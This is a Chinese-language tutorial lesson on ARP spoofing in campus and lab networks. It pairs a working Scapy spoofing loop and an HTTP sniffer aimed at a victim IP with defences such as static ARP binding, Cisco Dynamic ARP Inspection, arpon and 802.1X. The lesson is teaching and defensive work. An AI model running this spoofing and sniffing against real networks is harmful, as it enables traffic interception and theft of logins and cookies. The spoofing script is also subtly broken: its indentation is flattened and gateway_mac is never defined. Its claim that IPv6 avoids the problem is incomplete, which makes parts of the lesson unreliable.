ARP信任迷雾：从广播欺骗到四维防御实战（Python脚本×交换机配置×终端加固）

第3章 第19.1课

ARP欺骗攻防实战：局域网的信任危机

大家好，今天我们探讨网络安全的"信任基石"——ARP协议。当你在校园网抢课时突然断网，或者在实验室传输数据时网速异常，很可能是ARP欺骗在作祟。我会用校园网和公司内网的真实案例，带你理解这种"中间人攻击"的原理与防御。(´･ω･`)

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一、ARP协议本质：局域网的信任体系

基础机制：

• 广播询问："谁是172.16.108.1？"（ARP请求）
• 单播回应："我是172.16.108.1，MAC是AA:BB:CC:DD:EE:FF"（ARP回复）

校园网案例：

# Python模拟ARP请求（Scapy示例）
from scapy.all import *

def arp_request(target_ip):
# 构造ARP请求包
pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=target_ip)
sendp(pkt, verbose=0)
print(f"[*] 广播查询 {target_ip} 的MAC地址")

# 在实验室查询网关地址
arp_request("172.16.108.1")

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二、攻击原理：信任体系的崩塌

欺骗核心：伪造ARP响应包

sequenceDiagram 受害者->>网关: ARP请求：谁是网关？ 攻击者->>受害者: 伪造响应：网关MAC是我！ 攻击者->>网关: 伪造响应：受害者MAC是我！ 受害者->>攻击者: 发送给网关的数据（被劫持） 网关->>攻击者: 返回给受害者的数据（被劫持）

实验室攻击场景：

• 场景：实验室文件服务器（IP: 172.16.108.100）传输实验数据
• 攻击：篡改同组同学ARP表，使其向攻击者发送数据

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三、实战演示：Python实现ARP欺骗

不使用现成工具：

from scapy.all import *
import time

def arp_spoof(target_ip, target_mac, spoof_ip):
# 构造欺骗包：告诉目标"我是网关"
spoof_pkt = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
send(spoof_pkt, verbose=0)
print(f"[*] 发送欺骗包：告知 {target_ip} {spoof_ip} 的MAC是我")

# 配置参数
victim_ip = "172.16.108.10"# 受害者IP
victim_mac = "00:0c:29:xx:xx:xx"# 通过arp -a获取
gateway_ip = "172.16.108.1"# 网关IP

# 持续发送欺骗包
while True:
arp_spoof(victim_ip, victim_mac, gateway_ip)
arp_spoof(gateway_ip, gateway_mac, victim_ip)# 双向欺骗
time.sleep(1)# 每秒发送一次

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四、攻击影响：从断网到数据窃取

校园网场景：

1. 断网攻击：

# 查看ARP表（Windows）
arp -a
# 输出：172.16.108.1aa-bb-cc-dd-ee-ff动态
# 实际应为网关真实MAC

2. 会话劫持：

• 窃取校园网登录账号
• 截获教务系统Cookie

3. 中间人攻击：

# 使用Scapy嗅探HTTP数据
sniff(filter="tcp port 80 and host 172.16.108.10",
prn=lambda x: x.summary())

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五、防御体系：重建信任机制

1. 终端防护（个人设备）

# Windows永久绑定网关
netsh interface ipv4 add neighbors "以太网" 172.16.108.1 00-11-22-33-44-55
# 查看绑定结果
arp -a

2. 网络设备防护（校园网核心）

! 思科交换机启用DAI
ip arp inspection vlan 10
ip arp inspection validate src-mac dst-mac ip
! 配置信任端口
interface gig0/1
ip arp inspection trust

3. 主动防御（Linux环境）

# 使用arpon工具防御
sudo arpon -d -i eth0
# 自动拦截异常ARP包

4. 安全协议升级

# 启用IPv6替代（不受ARP影响）
ping6 lab-server.edu.cn

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六、企业级防御：802.1X认证

实验室网络改造：

graph TB 终端--EAPOL协议-->交换机 交换机--RADIUS协议-->认证服务器 认证服务器--认证结果-->交换机 交换机--开启端口-->终端

配置实例：

! 思科设备配置
aaa new-model
aaa authentication dot1x default group radius
dot1x system-auth-control
interface gig0/1
dot1x port-control auto

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总结：ARP欺骗的启示

1. 信任危机：局域网基础协议的安全缺陷
2. 防御核心：

• 静态绑定：终端绑定网关
• 动态检测：交换机DAI防护
• 协议升级：IPv6/802.1X替代方案

实验建议：

1. 在虚拟机环境测试Python欺骗脚本
2. 扫描实验室网络中的异常ARP包
3. 为个人笔记本配置静态ARP绑定

当你在深夜提交实验报告时，ARP欺骗可能正在窃取你的数据。理解这种"信任背叛"，才能构建更可靠的网络环境。(´-ι_-｀)